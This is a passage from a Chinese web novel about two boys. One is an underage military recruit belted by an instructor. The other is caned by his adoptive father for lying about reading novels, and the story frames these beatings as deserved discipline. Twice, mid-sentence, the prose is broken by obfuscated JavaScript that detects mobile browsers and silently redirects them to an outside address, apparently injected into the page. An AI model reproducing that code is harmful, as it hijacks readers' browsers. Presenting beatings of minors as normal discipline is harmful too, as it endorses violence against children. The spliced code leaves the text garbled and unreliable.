他痛心疾首地想着,承认这点就这么难吗?之前他还兴致勃勃地查着茱莉亚和柯蒂斯的资料,他想着这一年提早去可以去旁听,去纽城街头拉琴,去百老汇混混,甚至去组个地下爵士乐队——他其实还会一点萨克斯,钢琴也会一点。 但是,所有的这些幻想都建立在傅尧喜欢张瑾妤,张瑾妤喜欢傅尧,张瑾妤和傅尧会在一起的基础上。如今,第三条已不可能成立,他有些心酸的想,好歹是自己先认识张瑾妤的,凡事总有个先来后到吧,正所谓兄弟如手足,女人如衣服,手足可以断,衣服不能换,死道友不死贫道… 呸呸呸,这都是什么乱七八糟的。顾梓聿有点鄙视自己:怎么一点觉悟也没有?可是转瞬他就放弃了,自暴自弃地让自己沉溺在记忆里女孩的微笑中。他想到自己刚刚转学到鹿城实验小学,站上讲台介绍自己的时候,台下那个扎两个羊角辫的小姑娘目不转睛地看着自己,大大的眼睛很明亮,带着点好奇,但更多的是友好和欢迎,立刻就让惴惴不安的他心安了下来。 古人说,心安处即故乡,对于顾梓聿来说,呆在张瑾妤身边就像一片安定片,可是吃多了也会有长眠不醒的危险。他已经意识到了对方对于自己不同一般的影响力,可是他不想清醒,这种微醺的快乐令他很上瘾。 大脑的快乐没能解脱身体的困境。顾梓聿史无前例地迎来了第二次临界点。他的脚步不可抑制的慢下来,此时,双腿都好像针扎一样,他猜可能是毛细血管爆裂了,喉咙的血腥味已经存在很久了,胃里翻滚着,有热流要涌上来,顾梓聿知道自己不能停——他已经完成了第三趟,只剩下最后一趟了,就差最后一点…… 通常事情的发生是不以意志为转移的。顾梓聿脚下一软,来不及抓住身边木栈道的栏杆,膝盖狠狠一磕跪倒在地。之前规律起搏的心脏突然疯狂跳动起来,隆隆的心跳声几乎炸开了顾梓聿的耳膜。他什么也顾不得,条件反射地大张开嘴,但胃是空的,连呕了几次,只有黄绿色的胃液和胆汁,顾梓聿怕有游人接近,用着仅剩的力气想极力控制自己不这么狼狈,却仍止不住呕,满头满脸的汗,涕泪泗流。 顾仲景眼睁睁看着那道身影矮下去,又听见了那撕心裂肺的呕吐的声音,他一时慌张,紧忙向那方向冲过去,等看到男孩时,心是狠狠一抽: 男孩跪倒着,地上是一滩掺着血丝的黄水,男孩听到他的脚步声回过头来,漂亮的凤眼眼角泛红,脸被眼泪划得乱七八糟,眼睛仿佛没有焦距,但看到他过来又连忙低下头用力撑起自己的身子,一边歪歪扭扭地站起来一边断断续续说着“我能行”。 顾仲景简直心痛的不得了——他是亲眼看着这孩子把自己跑成这样的,连骂几句:“都成这个鬼样子了还跑个屁!” 这是从来没在顾梓聿面前说过的粗话,所以即使是筋疲力尽,顾梓聿也吃惊地瞪大了眼。不管是为了什么原因,他不想放弃这个机会,只剩下十公里了,他可以完成的...他必须完成! “别跑了,不许跑了!你再跑试试看!!”顾仲景气愤又无奈地发现自己不能奈何这个犟小子。他看着男孩勉强支撑着用沙子盖了呕吐物,重新开始慢慢跑,简直想要再一脚踹上去,可是又心疼又不舍得。 是他把这孩子一把一把拉扯大的,怎么舍得看他这样糟践自己的身体! “好了,别跑了,你赢了!” 男人泄了气,大声向着男孩的背影喊道,那背影僵了一下,却没立即停下来,而是慢慢继续跑——顾梓聿太了解他了,如果没有得到确实的保证,他是不会相信的,就凭这几个模糊的字眼,他随时可以反悔。 “好!我答应你!你可以再留一年,再继续上高一,满意了吗?!我向你保证了!”顾仲景气的大吼,看到那个男孩终于停下了脚步,他连忙冲上去扶住他,男孩却已经没了力气,软倒在他怀里,全身都微微颤抖着,冷汗一阵阵出,很快就也弄湿了顾仲景。 远在泥泞中的傅尧却没有这样的好运气,能够有一个温暖的怀抱给予他支撑,有一个人为他心疼。在山里摸爬滚打,现在的他,白衬衫也脏了,就连脸上都被树枝挂到挂了彩,这时才隐约想起,似乎在哪里听过一个名词,“越野跑50公里”。 真的要跑50公里吗? 他看着仍在前头趾高气扬的军车,脚步却不由自主地慢下来。他的心里燃起一团火,的确,他傅尧不是一个会服输的人,然而有的时候,意志再坚强也打破不了身体的极限,在疑似跑了四十多公里的时候,傅尧再跟不上那团越开越远的墨绿色影子,他疲倦地闭上双眼,就如一片真正的落叶一般,委顿在泥地里。 迷糊中,他感觉到有人走到他身边,蹲下身来查看了一番,还隐隐约约听到半句“…这么差劲”。他想站起来反驳,说自己是很有潜力的,然而他的眼皮沉重得像是坠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266211|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了千斤坠,他放弃抵抗,跌入了更黑暗的深渊。 累晕过去的傅尧如果知道醒来之后会迎接什么,一定不会选择在潜意识里死命强迫着自己快速醒来。不错,他虽然最后丢脸晕倒了,可还是破例成为最年轻的陆战队成员。 然而,作为一个履历一片空白、没有任何可取之处、从没有获得过任何一项荣誉哪怕是“内务标兵”的光杆小兵,傅尧虽然住进了门上贴有自己名字的宿舍、领了一箱子的作训服常服礼服另种种装备、还领了自己的枪械,还第一次被人领去洗澡吃饭,但这里的每个人都当他是透明的一样—— 在基地穿梭的一下午,一路上有无数军衔不一的官兵从他身边走过,却对这个生面孔视而不见毫无兴趣。傅尧有些消沉,而后又有些愤怒:因他居然也就真的成了透明的一样,除了一句轻飘飘的“等着”,连着两天没有人告诉他应该干什么。 只可惜,傅尧当时没能理会这份好意。如果他预料到今后的日子将会是多么的水深火热,那么他一定会无比的怀念那两天无聊而悠闲的日子的,只可惜现实生活不是小说,人没有时光机回到过去。 由于现在并非征兵季节,基地训练处只迎来了傅尧一个新兵,却有两位总教官和五位主管不同科目的教官在岗,这样的配置足可以预见未来傅尧的日子会是多么的凄惨。他24小时都被十四只眼睛死死盯着,每天从起床时被褥的叠法到吃饭前必须背诵的条例都是训练的内容,按照指挥官的命令,他在这个训练营的时候,不会比囚犯享受更多的自由。 傅尧在结束一天的训练、累趴在床上却在两个小时后被紧急铃声惊醒的时候,烦躁地想到,也许囚犯还比他过得安稳幸福呢。 还未满十五岁的傅尧几乎每天都被折腾得死去活来,只剩一口出的气了。正常情况下,每天训练至少十四小时,项目包括但不限于五千米、一万米、两万米负重限时障碍跑,各种枪支武器的学习和射击训练,徒手格斗和基本搏击的学习,甚至还有跳伞、攀登等科目,武装泅渡对傅尧来说都算是休息了。 他从来没有过这样大的训练量,刚开始很是吃不消,有时想要耍点小聪明偷点懒,但这些都逃不过教官的眼睛,任何违规都会受到严厉的惩罚。动作变形要罚、训练成果不达标也要罚。罚站军姿暴晒或俯卧撑都是家常便饭,傅尧最怕的是上单杠做仰卧起坐,他之前从来没有做过这个动作,而惩罚数最少都是五十起,这样倒吊着血液都涌到头上,而汗水常会滑落到眼睛里,蜇得生疼,可教官就站在一旁虎视眈眈,他也不敢擦,否则军靴一脚就踢上来了。 在这样高强度的体能训练之后,傅尧还需要学习繁多的理论知识。 之前,傅尧很疑惑怎么会有人在上课时睡着,而现在他终于体会到了这种痛苦。在极致的劳累之后,闷热的夏天加上体力的透支使得整个人都昏昏沉沉的,这时还要听着那些复杂的拗口的战术名词战略原理做笔记,人很容易就昏昏欲睡。通常他会用笔尖戳着自己,用这样的疼痛来帮助自己保持清醒,可有时困到极致了,他也会忍不住在理论课上打盹。 这当然是更严重的错误。那一次,傅尧感觉到自己的眼睛似乎才闭上了三十秒,就被教官揪着领子提起来,一路拖到暴烈的太阳下。教官命令他脱去作训服上衣,只保留体能服上衣,双手抱头,双肩打开,挺直站着。 “为你的错误,六下,士兵。” 傅尧从来没有受过体罚。他听过教官威胁“让你尝尝武装带的味道”,但从来没有想到这么快就成真。他的手不自觉地颤抖,解下自己腰间的武装带,递到教官伸出的右手上。他迟疑着脱下上衣,只留下一件单薄的迷彩半袖体能服上衣,眼睛死死地盯着正前方,双手抱头,双脚与肩同宽,忐忑不安地等待着疼痛的降临。 烈日晒得傅尧有点发懵,然而很快清脆的破空声响起,一记皮带狠狠咬上他的后背,傅尧忍不住一声痛呼,身体忍不住躲闪,结果得到教官快准狠的第二下,结结实实地落在同一处。他感觉到伤痕很快就肿了起来,疼得他一下流泪。 他从来没有过体味过这样的疼痛,违逆本能地顺从承受是一件很难的事。 “士兵,你忘了报数,第一下不算。” 傅尧大声地、几乎是吼出“一”来——这样的体罚不能呼痛,他只能尽量喊着报数,用于转移这撕裂的疼痛。 第三下,第四下接踵而至。傅尧希望教官赶快一口气打完,但教官停了一会儿,似乎是想让他充分品味疼痛的余韵。当傅尧等了一会儿,肌肉慢慢放松时,皮带又忽然而至,直要痛入骨髓。傅尧觉得自己简直要被拦腰打成两段,在第六下时咬破了嘴唇。 他使上了所有的意志力,才迫使自己忍完第七下并且大声报数,然而声调已经变了。他觉得整个后背都被烈火焚烤一般,除了痛觉身体所有的感知都失灵了,有两处各叠了两道伤痕,肿的飞快。 “现在还想睡觉吗,士兵?” 教官把他脱下的作训服递给他。傅尧一边轻手轻脚地穿上衣服,试图不碰到被抽肿的背,一边尽量稳住自己声线答道:“报告教官,不想!” “好,那就回去继续上课。” 没有上药,没有休息,受罚结束后立刻再回去上课,破了皮的伤被愈来愈多的汗水蛰着,傅尧一边记笔记,一边警告自己,记住这个教训,别再让自己受皮肉之苦。 下课之后,傅尧几乎是拖着身体回到营房的。他从来没有这样狼狈过——在傅家,他从小接受的是精英教育,学的是如何优雅得体地处理政治、经济和人际关系,而不是在经历过一顿严苛的体罚之后继续在泥地里匍匐前进。 他很清楚,自己必须尽快适应,否则,他会成为所有人的笑话。既然不能改变环境,那就改变自己。他必须让自己习惯这里的规则——犯错就要受罚,弱者就会被淘汰。允许惩罚变成日常,当疼痛成为习惯,他就不会再畏惧它。 这里和外面的世界不一样,有自己的规则,没人知道他是谁,没有任何人会因为他的姓氏而对他手软,他只能靠自己的实力来赢得尊重。 傅尧躺在床上,闭上眼睛,心中只有一个想法:既然已经选择了这条路,那就没有回头的余地。 31. 番外一 · 课外书风波上 小学生顾梓聿最近迷上了看武侠小说。 最初,是他的好朋友姜明祎在看,那个痴迷劲儿,是手不释卷、连吃饭也配书啊。顾梓聿好奇,遂向他借了一本《今古武侠》,打开的第一个故事就叫《千门之门》。至此之后,顾梓聿就算是彻底跌入了这侠义江湖的大坑中。 顾梓聿性格里有一点特别突出,就是专注,但这是个中性词。所谓中性词,就是相同的意思在不同的情境下,就会有不同的含义。专注是好事,作为一个学生学习的时候专注,那叫锲而不舍。可是如果在学习之外的事情专注,那就叫玩物丧志。 顾梓聿现在就有点玩物丧志的意思。武侠小说里的世界简直是太酷了!那里的人们动不动就能飞檐走壁,到处行侠仗义,少侠忠肝义胆、巾帼不让须眉,各种爱恨情仇交织,还有些他之前听都没听说过的神奇流派、机关毒物,都完全超出了他的想象。 反正这些课都很简单,他早就会了,他就忍不住在课上看小说,把书垫在抽屉里,上面用教科书挡着。老师们也对他特别偏爱,姜明祎上课看课外书被发现是要被没收罚站的,而顾梓聿呢,老师们睁一只眼闭一只眼,硬是一次也没被抓过。半个月下来,他就把最近几年的《今古武侠》都给看完了。 接着顾梓聿就开始看金庸的书,“飞雪连天射白鹿,笑书神侠倚碧鸳”,他差不多一个星期就能看完一到两本,也亏顾梓聿学习好,姜明祎崇拜他,才肯每天都带新书来给他看。 碰巧这时候班级里又开始流行起《鬼吹灯》系列、史蒂芬金的系列恐怖小说、《明朝那些事儿》,还有什么《藏地密码》、《狼图腾》、《回明》、《新宋》、《此间的少年》、《韦帅望系列》林林总总,读起来情节刺激,拿起就放不下。于是,顾梓聿上课看课外书的行为是愈演愈烈,最后连班主任王老师都看不下去了。 这天顾梓聿看的是《云南虫谷》,正好翻到书中描写的“成千上万个奴隶制成的痋俑像炸弹一样倒悬在洞顶”,班主任王老师就点名到:“顾梓聿!” 顾梓聿吓得一个激灵,直接就把书往抽屉里一塞,迅速站起来,一脸无辜地看向老师。 “你把上节课布置的背诵作业背一遍。”王老师一脸严肃。 上节课?上节课布置了什么来着?今天早读课肯定背过,但是他那时候在看小说呢!顾梓聿一脸懵,支支吾吾地拉长语音:“呃,呃,上节课我们讲了…” 他的同桌张瑾妤很有眼力见,偷偷摸摸假装无意地把书翻到那一页,“芙蓉楼送辛渐”六个大字映入眼帘。 “…我们讲了’芙蓉楼送辛渐’,”顾梓聿余光一瞟看到了答案,装作刚想起来似地慢慢答道,“寒雨连江夜入吴...” “张瑾妤,把书盖起来!你以为这是在帮助同学吗?!”王老师走到顾梓聿身前,居高临下地看着提醒顾梓聿的女生。张瑾妤大气也不敢出,乖乖把书合上,侧脸都红透了。 顾梓聿感觉王老师的目光就像有热度似的在自己的身上逡巡,他硬着头皮背道:“寒雨连江夜入吴,平明送客楚山孤。洛阳亲友如相问,一片冰心在玉壶。” 后两句是名句,顾梓聿就前两句不会,但刚才扫张瑾妤语文书那一眼,他已经背下来了,因此很顺利地过关了。 王老师狠狠地瞪了顾梓聿一眼,才说:“坐下吧。” 顾梓聿自以为逃过了这一劫,没想到王老师走上讲台,翻开了书之后,又停下来说了句:“顾梓聿下课之后来我办公室一趟。” 这话一出,全班安静得落针可闻。 小学生最怕的就是老师说“来我办公室一趟”,因为这后面可以延伸出“放学留下来”、“叫你家长来一趟”,而后又可以延伸出很多很多,最后得到一个红肿的屁股和一个流泪的夜晚。 顾梓聿听着这话,脸色发白,作为好学生,他从来没被以这样的方式叫到办公室去过。剩下半节课,他真是被吓怕了,再也没看一眼抽屉里的书,坐的直直的,超级认真上课,只希望老师能看在他下半节课表现良好的分上放他一马。 没想到下课的时候,王老师还是记得这件事情。 “顾梓聿,来。” 这一个字真是比雷声还吓人。 顾梓聿拖着脚步垂头丧气地跟着班主任来到办公室,别的老师看见顾梓聿进来了,一开始还以为他又是拿了什么奖,来领奖状的。仔细一看,这气氛这么僵硬,走前面的王老师一脸严肃,后面跟着的小学生欲哭无泪,几位任课老师就知道,估计班主任这是要发作他上课看课外书的事了。 其实老师的要求不高,只要学生认真听课,学懂知识就好。所以尽管顾梓聿上课看课外书,几位任课老师都没太管他。顾梓聿不像爱讲话爱捣乱的孩子会影响到别人听课,而且他本身知识就已经掌握了,老师也能体谅,让一个什么都会的孩子再来学他会的内容,确实是有些枯燥。但是耐不住顾梓聿不懂得见好就收,现在倒好,什么课都在看课外书,完全不顾及影响,这就必须要制止了。 王老师坐下,看着顾梓聿委委屈屈地站在他桌子旁边,还微微靠着他的办公桌挡板,立刻就发火了:“靠什么靠给我站直了!” 顾梓聿被这一吓立马站直低着头,两只手在背后扭来扭去的。 王老师叹了口气:“知道为什么叫你来?” “…知道。”顾梓聿扭扭捏捏地回答。 “你错了吗?” “…我错了。” 这挤牙膏式的回答真是让王老师心烦:“男子汉说话大点声儿!说,你错在哪儿了?” “…我不应该上课看书。” 王老师语重心长:“喜欢看书是好事,但是上课要有上课的样子,要尊重老师。这就不是自习课,如果你自习课作业写完看书我管你吗?你在课间看书我管你吗?你看看你最近上课,总是心不在焉的都在看书,老师有没有没收过你的书?” 顾梓聿摇摇头,头都要埋到地里去了。 “没收的东西就是不还的,老师知道你是好孩子,是在给你机会。可是你看看,现在影响有多差,现在你周围的同学都知道你天天上课看书。你也跟他们一样是学生,凭什么这么特殊?你这么特殊,别人会怎么想?!我作为班主任,你有错误不处罚你,还能管好大家吗?” 王老师点了点顾梓聿肩上的“三条杠”:“顾梓聿,你很聪明,设身处地想一想,如果你是老师,你学生天天上课看书,你怎么想?” 顾梓聿被说的眼圈都红了,可他又觉得自己冤枉,那些东西自己早就懂了,上课看书也没影响到别人啊,就站在那儿低着头,也不说话。 王老师看这模样,语气一下子硬起来:“要不要我给你家长打电话?” 顾梓聿被这句话一吓,眼泪是真的被吓出来了。他带着哭腔连忙摇头:“老师老师我知道我错了,不要叫,不要叫家长好吗?我再也不看书了,真的,我保证!” 王老师都气笑了:“刚才批评你,你就一副无动于衷的样子,现在提到要叫家长,哈,看来你还是更怕你爸爸,不怕老师啊。” 顾梓聿被“叫家长”吓得真是话说不出来。他就一边睁着泪水盈眶的大眼睛,一边委委屈屈地望着老师,扁着嘴扭着手指头。王老师想到他以前表现的都很好,从来没给他添过什么麻烦,也从来没犯过什么错误,心一软,就说:“好,截止到今天为止,我都原谅你,下不为例,如果再有下次,我真的要打电话去你家。” 顾梓聿一听到这句话,简直像是久旱逢甘霖、死刑犯被大赦,一下子变脸,喜出望外,连连保证:“嗯嗯,老师我向您保证,以后上课再也不看书了!” 这件事情就这样告一段落了。 顾梓聿也算说话算话,主要是他真的害怕,万一上课看书再被抓住,王老师真的会给顾仲景打电话。他爸爸的脾气他还是懂的,这要是老师打了电话,那后果一定会很惨。 可是顾梓聿不能在上课的时间看书了,那用什么时间看书呢?他就只好早上早读的时候看,课间看,中午吃完饭之后也不像以前一样好好午休,而是偷偷趴着看书。然后下午放学的时候,硬要等到班级值日生都扫完地、倒完垃圾了,才把书放回抽屉背上书包回家。主要是他不敢把书带回家去,用脚趾头想也知道,顾仲景要是看到他看这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266212|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书,肯定会发脾气的。大人们都认为这些书不是什么正经书,可是世界名著虽然经典,没有这些书情节抓人啊! 这样下去一段时间,顾仲景明显地发现自家孩子好像这段时间精神不济。下午又很晚才回家,原来练琴的时间都缩短了。他从没怀疑过顾梓聿是不是在外面贪玩之类的,只想着可能是学校课业开始加重了吧,吃饭的时候问了一句,顾梓聿就回答说“有的时候老师留堂”。顾仲景没多想,就说:“那练琴的事,你自己要安排好,时间还是要保证的。” 又一个周五,周考结束后就可以放学回家了。收拾书包的时候姜明祎借给他最新的一期《今古武侠》。顾梓聿翻了翻,正好刊登了喜欢的作家的新作,正心痒痒。这两天正好是周末,他原来从来没把这些小说带回家过,可是要他等到周一再看,他也实在是忍不住,所以就偷偷地把它夹带在书包里带了回来。 超级快速地吃完晚饭后,顾梓聿就躲到屋子里,如饥似渴地看了起来。新印出来的期刊还带着点淡淡的油墨味,顾梓聿不觉得难闻,倒还挺喜欢的。他看着看着就入了迷,已经超过了平常该练琴的时间了。 顾仲景没有催他,顾梓聿看完一篇故事,抬头一看才发现比平时已经晚了半个小时了,但实在放不下手里的书,还是高声朝门外喊:“爸爸,我再看一会书再去练琴。” 顾仲景回答:“可以,你自己的时间自己安排。” 顾梓聿最后比平时少练了一个小时。 这一次过后,顾梓聿发现也许爸爸是只假老虎,一口气看完一本期刊的感觉实在太爽了。于是,他开始大着胆子带书回家,吃完饭后就开始看,作业呢就应付了事,字也写得潦草。 这一段时间慢慢下来,顾仲景也开始有点奇怪,这个周末顾梓聿的练琴时间明显减少了。晚上顾仲景切了点水果想给小孩吃,轻手轻脚地走进他房间,就看到他正津津有味地看着一本课外书。 “什么书啊,看的这么入迷?”顾仲景的声音响起。 “哦,就是爸爸你上次给我买的那本讲宇宙起源的书。”顾梓聿没抬头,视线仍紧紧地黏在书本上,看起来他很喜欢这本书。 顾仲景看着男孩手上正在看的书,原来就是他之前在外文书店给他买的科普书籍,从宇宙的起源一直讲到人类文明。这本书虽然是英文,却是专门是写给小孩子看的,还配有很精美的彩图,用词一点也不艰深,专业术语都会配有浅显易懂的注释,难度还是顾梓聿可以接受的。 他没想到,昨天他才刚买回来,今天顾梓聿就开始看了。 “之前我给你买的那两本英文书都看完了吗?”顾梓聿点点头,把手中的书翻到了下一页。 “看完了?那你给我讲讲,都有什么感想?”顾仲景好奇自己挑的书究竟合不合顾梓聿胃口,屈膝坐在卧室的飘窗上,顺便拿起顾梓聿放在一旁的作业翻了翻。 “嗯,我比较喜欢梦巨人那本。主要是情节比较有意思,我觉得吧,反正他描写的挺有想象力的。”其实顾梓聿根本还没读完那本书,抱着这一堆侠义江湖、盗墓传说,他哪有那个心思去啃英文书?他只是看了个开头,就在这儿信口胡诌。 “巨人把梦通过喇叭吹到孩子的卧室里,这个真的挺酷的,他还可以把孩子们的梦抓住后保存起来,还可以根据需要调制出一个新梦,反正挺有意思的吧。另外一本数字的游戏,我就不喜欢。那本太傻了,他讲的都是很浅显的数学,可是还要套一个很傻的故事,我又不是小孩了,还非得用这么幼稚的口吻科普知识。” 顾仲景笑了起来,你还明明是个小孩,偏要装作少年老成的样子,这才叫幼稚得可爱。 “那你继续,注意掌握时间,再看一会儿就该练琴了,我先出去了。” “好的。”顾梓聿乖乖点头,又把头埋在书里。 等他听到脚步声渐渐远去后,才悄悄出了一口长气——这个时候的他已经被吓出一身冷汗。 原来他的耳朵特别灵敏,所以尽管顾仲景放轻了脚步,他也还是听到了,所以他才能在千钧一发之际,把那本要命的武侠小说塞进书包,摆上那本该死的宇宙起源。 32. 番外二 · 课外书风波下 顾仲景接到了王老师的电话。 “您好,是顾梓聿的爸爸吗?” “您好,我是,您是梓聿的班主任王老师吧?” 顾仲景自从第一次帮顾梓聿办了转学之后,就存了相关老师的联系方式。因此,他一看到手机屏幕上显示的“王老师”,就立刻把这个名字和脑海里那个正值青壮年、认真负责的男老师对上了号。 “是的,我打这个电话是想跟您商量一下,我们学校一直有选拔一些学有余力的学生去鹿城八中那里上竞赛课,我想推荐顾梓聿去,所以来问问你们家长的意见。 ” “去上竞赛的课程吗?”顾仲景有点摸不着头脑,“您觉得有这个必要?” “现在小学的课程对顾梓聿来说太容易了,如果他能够去上提前课程的话,对他来说也是好事。咱们学区的这种联合式的小初高共同培养的机制是比较特别的。曾江,以前我的一个学生,小学的时候数学就好,被选进八中的信息学培训班,平常课时和暑假就到八中上课,初二就获得了优秀中学生信息学夏令营一等奖,提前五年被帝大相中。” “过去四年间,我们学校向八中输送了19名参加提前课程的学生,最后有2人入选国家集训队,12名学生通过保送或自主招生入读帝都大学,其他学生也都有着很好的发展。” “嗯,王老师我理解您的意思,但是作为家长,我还是更希望孩子能和他的同龄人玩在一起。我们做家长的,在这个时段不强求孩子在学业上有什么大成就,名校什么的也不是最重要的,我只希望他能在和同龄人的集体相处中学会怎么和人交往,仅此而已。” “嗯…这些提前课程不仅能培养孩子们的数理思维,对他们提升学习素养也有正面影响。” 顾仲景敏感地听出了电话那头的老师好像还有些话没说完。 “而且…其实像顾梓聿现在这个情况,去上提前课程对他来说是最好的选择。”王老师沉默了一会,才又继续说道,“其实我能理解,像他这样的孩子,老师教的内容都会了,反复地温习那一点知识确实挺无聊的。但他确实影响到了其他同学的学习状态。” “他最近怎么了?”顾仲景有点不好的预感。 “前段时间顾梓聿在课上看课外书,后来我批评了他,他也算听话,这件事就算过去了。可是,不能看书之后他就开始在课上写当天的家庭作业。课堂内容他是都会了,但有些同学也学他在课上写作业,偏偏他们还有好多东西都还没学到呢,交上来的作业也是错漏百出。老师忙着上课,也分不清他们到底是在记笔记还是赶作业。” “前两天,数学老师看到顾梓聿在他的课上写语文作业,就点他起来回答问题,他又都回答得上,底下一群小鬼还敢笑,给人家老教师下不来台啊。但数学老师又实在是不舍得骂他,最后还是我严肃批评的他。这样下去真是不行,我想着还是得给顾梓聿找点事做。这段时间,整个班级的风气都不太好了。” “前两年顾梓聿刚转学过来的时候,他性格还是挺腼腆内向的,那个时候我还有点担心这孩子。没想到两年过去,这孩子胆子是大了。” 顾仲景听着,面色逐渐凝重。王老师说得很婉转,但是话里的意思清清楚楚:顾梓聿这段时间的表现实在太差,以至于都影响到了整个班级的纪律风气,而这种事,是他从来没有想过会发生的。 他是那么地信任顾梓聿,以至于对他最近的反常情况丝毫没有察觉。现在细细想来,顾梓聿的种种行为早有苗头。 “王老师,真的很对不起,作为家长,我为顾梓聿在课上不尊重老师的行为向您道歉。今天,我会跟他讨论一下这些事,让他真正意识到自己的错误。关于去上提前班的事情,我也会再考虑,明天给您回电话,可以吗?” 王老师那边显然是松了一口气:“行,您在家里和孩子好好商量,毕竟咱们还是要因材施教嘛,像顾梓聿这样聪明的学生,要拖着他跟着咱们普通学生的进程,对他来说确实是有点不合理,那咱们再保持联系。” “好的好的,麻烦您了,不好意思啊,我这边明天再联系您。” 挂掉电话,顾仲景整个人气场都不对了。想起之前一进顾梓聿的房间,他就是在看英文书,那个时候他还隐隐觉得,小孩看书速度不应该这么慢。他那时候还想着,是不是这些书对他来说程度太难了,所以他读起来才这么慢。顾仲景还想着,是不是要陪他一起读,说不定能够意识到发现小孩阅读上有什么坏习惯,还能帮他改进一下。 现在看来,自己都是在自作多情啊。 顾梓聿完全不知道这一切。前段日子,他过得很逍遥,每天回家就借着看英文书做打掩护,不知道刷掉了多少本小说。今天他又带回了最新出的《传奇》,上面更新了他最近超爱的《少侠苏旷》。 依旧是和往常一样的操作,他快速地吃完饭,然后乖巧地说了声“我进屋去写作业了”,完全没有留意到,今天的顾仲景有没有什么不对劲。 当然,也是顾仲景掩饰得好。他一如往常地微笑,微笑地看着顾梓聿下饭桌。他打定主意,今天要人赃俱获。 顾梓聿正在房间里看书呢,就听到脚步声走了进来。经过这一段时间的锻炼,他的胆子已经非常大了,于是,这回只是把《传奇》报刊藏在一本摊开的英文书下,自己正翻着词典,这样看起来就好像他正在为遇到的生词查词一样。 往常来说,顾仲景也就是进来兜一圈,送个水果,端杯牛奶之类的,就又出门了,而今天,他就站在顾梓聿背后,看着他查词。顾梓聿一瞬间,就觉得室内温度升高了,开始心里有点烦躁,想着爸爸怎么还不走。但问题是,书就这样垫在英文书下,他想要再藏个别的地方也没有办法,只能硬着头皮点了点眼皮底下的一个词,还念了几遍,做戏做全套,只祈祷顾仲景,不要发现这本英文书下的猫腻。 可是顾仲景没有随他的愿,轻轻巧巧一伸手,拿起那本英语书《人类的秘密历史》,底下藏的那本《传奇》就大大方方地露出来了。 顾梓聿头皮都炸了。 顾仲景笑着拎起《传奇》:“这是什么呀?” 顾梓聿还不知道,他的老底已经全被王老师给漏光了,还能面不改色心不跳地编瞎话:“啊,这个,这个就是我同桌今天请我看的小说。最近班级里不是正流行看这类小说嘛,我不看的话跟大家都没话题聊。但是我刚才翻了几页吧,也不是很好看,所以就先放在那儿了。” 顾仲景笑了笑:“是这样啊,那你现在看的这个英文书讲的什么呀?” 顾梓聿根本就没看这本书,只是放在那里做个样子,但是他想着,根据书名大概能编个相差仿佛吧:“大概讲人类的历史吧,然后嗯,大概是讲了些,就是从古时候人类怎么进化而来的啊之类的。其实我好多词也都不太懂,正在查,所以吧…” 盯着顾仲景灼灼的目光,男孩愣是把这个谎编的圆乎了。 顾仲景的眼神像钉子一样钉在顾梓聿脸上:他真是太失望了,他没想到这孩子,就站在他面前,还敢撒谎。这样的话,他也不想兜圈子了。 “今天,你们班主任给我打电话了。他告诉我,你在课上看课外书,是吗?你在课上写作业,是吗?老师叫你起来回答问题,你全答对了,还很自豪,是吗?” 顾梓聿的脸色一下变了,听到一句话,他的脸色就白一层,这简简单单的三个问句,让他一下子就慌了手脚,什么反应都做不出,想辩解都张不开嘴。 顾仲景紧接着问:“我想上一次,我进来看到你在看英文书,其实你下面垫的也是这样的小说吧?还有前段时间,你每天都说作业很多,没有时间练琴,我从来没有怀疑过你,但我现在回想,你应该也是为了看课外书,跟我撒谎吧?” “撒谎”这个词一出来,顾梓聿就意识到今天完了。因为撒谎,是顾仲景最痛恨的事情。顾梓聿永远记得,他刚被顾仲景收养的时候,顾仲景就告诉过他,无论什么事情,只要他说实话,他都不会对他动手。顾仲景最不能接受的事情就是撒谎。 哪怕你笨、你傻,你不听话都没有关系,但是如果你不诚实的话,我就不会再信任你了。 两个人就这样僵持着,顾仲景没发话,顾梓聿也不敢动弹,此刻他完全不知道该怎么办了,那些曾经看课外书给他带来的快乐,全部变成了恐惧将他淹没。他现在脑子里只有一种情绪,就是后悔,悔不当初啊! 顾仲景没有再说话,直接把顾梓聿书桌对面窗户的窗帘放了下来。 顾梓聿已经意识到将要发生什么。 下一秒这个预想就成真了。 “讨打,成全你。” 顾仲景把书桌上的书都收起来放在一旁的飘窗上,水笔、荧光笔都顺手扫到一边,桌面一下就清空了。 “手撑在桌子上,”顾仲景手执着一根手指粗细的长棍,点了点他腰间,“裤子脱了。” 顾梓聿即使还有一点点侥幸心理,也被顾仲景手上的家伙给吓没了。他哀求地看向顾仲景:“…爸,我知道错了,再给我一次机会吧?” “顾梓聿,”男人面无表情,眼神凌厉,“我对你很失望,因为你辜负了我的信任。男孩,你要知道,权利都是靠争取来的,我对你的信任也不是无来由的,撒谎,是需要付出代价的。” 撒谎,是要付出代价的。 听到这句话,顾梓聿心底就知道今天这顿打是难免的了。他不敢再撒娇讨饶,更不敢哭,只怕自己一讨饶,顾仲景就要罚得更狠。 褪下裤子,顾梓聿的手死死地攥着桌边缘,低着头,眼睛直直地盯着桌面,他听见风声,是棍子划破空气,下一秒,棍子抽打皮肉的声音清脆地响起,痛得像热油往身上一泼,他咬着牙,齿间还是溢出一声痛呼,而下一棍就把这声生生打了回去。 